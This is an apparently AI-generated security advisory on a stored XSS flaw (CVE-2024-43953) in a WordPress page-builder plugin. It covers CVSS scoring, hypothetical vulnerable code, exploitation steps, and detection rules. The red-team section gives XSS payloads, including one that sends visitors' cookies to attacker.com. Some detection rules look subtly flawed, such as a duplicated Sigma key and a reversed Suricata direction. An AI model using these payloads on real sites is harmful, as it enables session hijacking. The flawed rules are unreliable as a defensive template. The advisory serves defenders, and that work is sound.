CVE-2024-43953

Executive Summary

CVE-2024-43953 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Classic Addons – WPBakery Page Builder plugin for WordPress, affecting versions up to and including 3.5. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject malicious scripts into web pages generated by the plugin. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the risk extends to any WordPress site using the Classic Addons plugin. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor. Since the patch status is unknown, manual code review or disabling the plugin is recommended.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, the stored nature of the XSS means that a single injection can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability exists in the Classic Addons – WPBakery Page Builder plugin, which extends the functionality of the WPBakery Page Builder (formerly Visual Composer) for WordPress. The plugin likely processes user input (e.g., shortcode attributes, custom CSS, or HTML fields) without proper sanitization or output encoding.

Root Cause: The plugin fails to neutralize input during web page generation. When a user with contributor-level privileges or higher creates or edits a page using the plugin, they can inject arbitrary JavaScript into fields that are later rendered without escaping. For example, a shortcode attribute like [classic_addon custom_attr="<script>alert('XSS')</script>"] would be stored in the database and executed when the page is loaded.

Attack Flow:

1. An attacker gains contributor-level access to the WordPress site (e.g., via compromised credentials or a separate vulnerability).
2. The attacker creates or edits a page using the Classic Addons plugin and injects malicious JavaScript into a vulnerable field.
3. The payload is stored in the WordPress database.
4. When an administrator or other user visits the compromised page, the script executes in their browser.
5. The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. The plugin likely uses functions like echo or print without escaping user input.

Vulnerable Code (Hypothetical):

function classic_addon_shortcode($atts) {
    $custom_attr = $atts['custom_attr'];
    echo '<div class="classic-addon" data-custom="' . $custom_attr . '">';
    // ...
}

Patched Code (Hypothetical):

function classic_addon_shortcode($atts) {
    $custom_attr = esc_attr($atts['custom_attr']); // Escape for HTML attribute context
    echo '<div class="classic-addon" data-custom="' . $custom_attr . '">';
    // ...
}

The patched version would use WordPress's built-in escaping functions like esc_attr(), esc_html(), or wp_kses() to neutralize malicious input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the Classic Addons plugin (version <= 3.5) installed and activated.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to Pages > Add New.
3. Add a Classic Addons element to the page (e.g., a custom heading or button).
4. In a vulnerable field (e.g., "Custom CSS" or "Extra Class"), inject the following payload:

   "><script>alert('XSS')</script>
   

5. Publish or save the page.
6. As an administrator, visit the page. The JavaScript alert will execute.

Advanced Payload (Session Hijacking):

"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code is available. The above is a generic example based on the vulnerability description.

Blue Team (Defensive)

Detection:

• Monitor WordPress logs for unusual page edits by contributor-level users.
• Use a Web Application Firewall (WAF) to block common XSS patterns (e.g., <script> tags in POST data).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for suspicious entries in the wp_posts table:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Review plugin files for unescaped output:

  grep -r "echo\|print" /var/www/html/wp-content/plugins/classic-addons-wpbakery-page-builder-addons/ | grep -v "esc_attr\|esc_html\|esc_url"
  

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files may vary by version)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing document.cookie or eval( in the body.
• Database Indicators:
  • Rows in wp_posts containing <script> tags in post_content.
  • Suspicious shortcode attributes in wp_postmeta.
• Log Indicators:
  • WordPress audit logs showing page edits by low-privilege users.
  • Web server logs with alert( or document.location in the request URI.

Detection Engineering

YARA Rule

rule Detect_Classic_Addons_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Classic Addons plugin"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-43953"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "classic-addons-wpbakery-page-builder-addons"
    condition:
        $plugin and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: Stored XSS via Classic Addons Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by Classic Addons plugin
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        cs-uri-query|contains: 'post='
        cs-request-body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43953 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Restrict user roles – Only grant administrator-level access to trusted users.
3. Apply virtual patching using a WAF to block XSS payloads.

Long-Term Fix:

• Monitor the plugin's official page for a security update. If none is released, consider replacing the plugin with an alternative.
• Conduct a code audit of the plugin to identify and fix unescaped output.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.